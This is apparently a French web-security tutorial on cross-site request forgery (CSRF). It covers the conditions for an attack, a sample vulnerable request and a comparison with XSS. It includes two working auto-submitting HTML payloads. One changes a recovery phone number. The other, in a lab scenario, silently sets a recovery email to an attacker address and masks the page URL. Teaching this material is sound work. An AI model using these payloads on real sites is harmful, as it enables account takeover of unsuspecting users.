Analyse Technique et Exploitation des Vulnérabilités CSRF

Mécanisme de la Falsification de Requête Intersite

La falsification de requête intersite (CSRF) est une faille de sécurité permettant à un attaquant de contraindre un utilisateur authentifié à exécuter des actions non souhaitées sur une application web. Cette technique contourne partiellement la politique de même origine (Same-Origin Policy), dont le rôle est d'isoler les contextes d'exécution de différents domaines.

En forgeant une requête spécifique et en incitant la victime à déclencher son exécution (via un lien, une image ou un script), l'attaquant peut réaliser des opérations critiques telles que la modification d'informations de compte ou l'altération de privilèges.

Prérequis pour une Exploitation Réussie

Pour qu'une attaque CSRF soit viable, trois conditions techniques doivent être réunies :

Action sensible identifiable : L'application doit exposer une fonctionnalité privilégiée (ex. mise à jour d'une adresse de récupération, modification des droits d'un utilisateur).
Gestion de session basée sur les cookies : Le serveur doit s'appuyer exclusivement sur les cookies de session pour identifier l'utilisateur, sans exiger de mécanisme d'authentification supplémentaire pour la requête.
Paramètres de requête prévisibles : La requête ne doit contenir aucun paramètre secret ou aléatoire que l'attaquant ne pourrait pas deviner. Par exemple, si la modification d'un mot de passe exige la saisie de l'ancien mot de passe, la vulnérabilité CSRF est neutralisée.

Exemple de Requête Vulnérable

Prenons l'exemple d'une requête visant à mettre à jour le numéro de téléphone de récupération d'un compte :

POST /api/v1/user/profile/update HTTP/1.1
Host: target-application.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Cookie: session_token=abc123xyz789def456

phone_number=%2B33612345678

Génération du Payload CSRF

À l'aide d'un proxy d'interception comme Burp Suite, il est possible de générer un proof-of-concept (PoC) HTML qui soumettra automatiquement ce formulaire :


<html lang="fr">
<head><meta charset="UTF-8"></head>
<body>
    <form id="csrf_form" action="https://target-application.com/api/v1/user/profile/update" method="POST" style="display:none;">
        <input type="hidden" name="phone_number" value="+33699999999" />
    </form>
    <script>
        window.addEventListener('DOMContentLoaded', function() {
            document.getElementById('csrf_form').submit();
        });
    </script>
</body>
</html>

Flux d'Exécution

L'utilisateur authentifié visite la page hébergeant le PoC.
Le navigateur charge le document et exécute le script.
Le formulaire est soumis silencieusement vers l'application cible.
Le navigateur joint automatiquement les cookies de session valides à la requête.
Le serveur traite la requête comme légitime et modifie le numéro de téléphone.

Note technique : Bien que la CSRF soit majoritairement associée aux sessions par cookies, elle s'applique également à d'autres mécanismes d'authentification gérés automatiquement par le navigateur. C'est le cas de l'authentification basique HTTP (où l'en-tête Authorization: Basic est renvoyé automatiquement) et de l'authentification par certificat client (où le navigateur présente le certificat sans intervention de l'utilisateur).

Distinction entre CSRF et XSS

Il est crucial de différencier la CSRF de l'injection de scripts intersites (XSS), tant dans leur mécanisme que dans leur impact :

XSS (Cross-Site Scripting) : L'attaquant injecte et exécute du code JavaScript arbitraire dans le contexte du navigateur de la victime. C'est une vulnérabilité bidirectionnelle : le script peut émettre des requêtes, intercepter les réponses et exfiltrer des données vers un serveur tiers. Son impact est généralement plus sévère car il permett de contourner les défenses CSRF et d'accéder à l'intégralité des fonctionnalités du compte.
CSRF : L'attaquant force l'exécution d'une action spécifique sans pouvoir lire la réponse HTTP en raison de la politique de même origine. C'est une vulnérabilité unidirectionnelle. De plus, la CSRF est souvent limitée à un sous-ensemble d'actions, tandis qu'une XSS exploitable offre un contrôle total sur les interactions de l'utilisateur avec l'application.

Scénario Pratique : Exploitation d'un Endpoint Non Protégé

Dans cet exercice, l'objectif est d'exploiter une absence de protection CSRF pour modifier l'adresse e-mail de récupération d'un utilisateur cible (identifiants fournis : user_test:password123).

Après avoir intercepté la requête légitime de modification d'e-mail, on observe qu'aucun token anti-CSRF n'est présent. Le payload suivant est conçu pour être hébergé sur un serveur contrôlé par l'attaquant :


<html>
<body>
    <form id="exploit_form" action="https://lab-environment.web-sec.io/account/settings/recovery" method="POST">
        <input type="hidden" name="recovery_email" value="attacker@malicious.domain" />
    </form>
    <script>
        (function() {
            // Masquer l'historique de navigation pour l'utilisateur
            history.pushState('', '', '/');
            document.getElementById('exploit_form').submit();
        })();
    </script>
</body>
</html>

Étiquettes: CSRF Sécurité-Web Same-Origin-Policy XSS Authentification-HTTP

Publié le 17 juin à 17h39

L'Atelier Monstre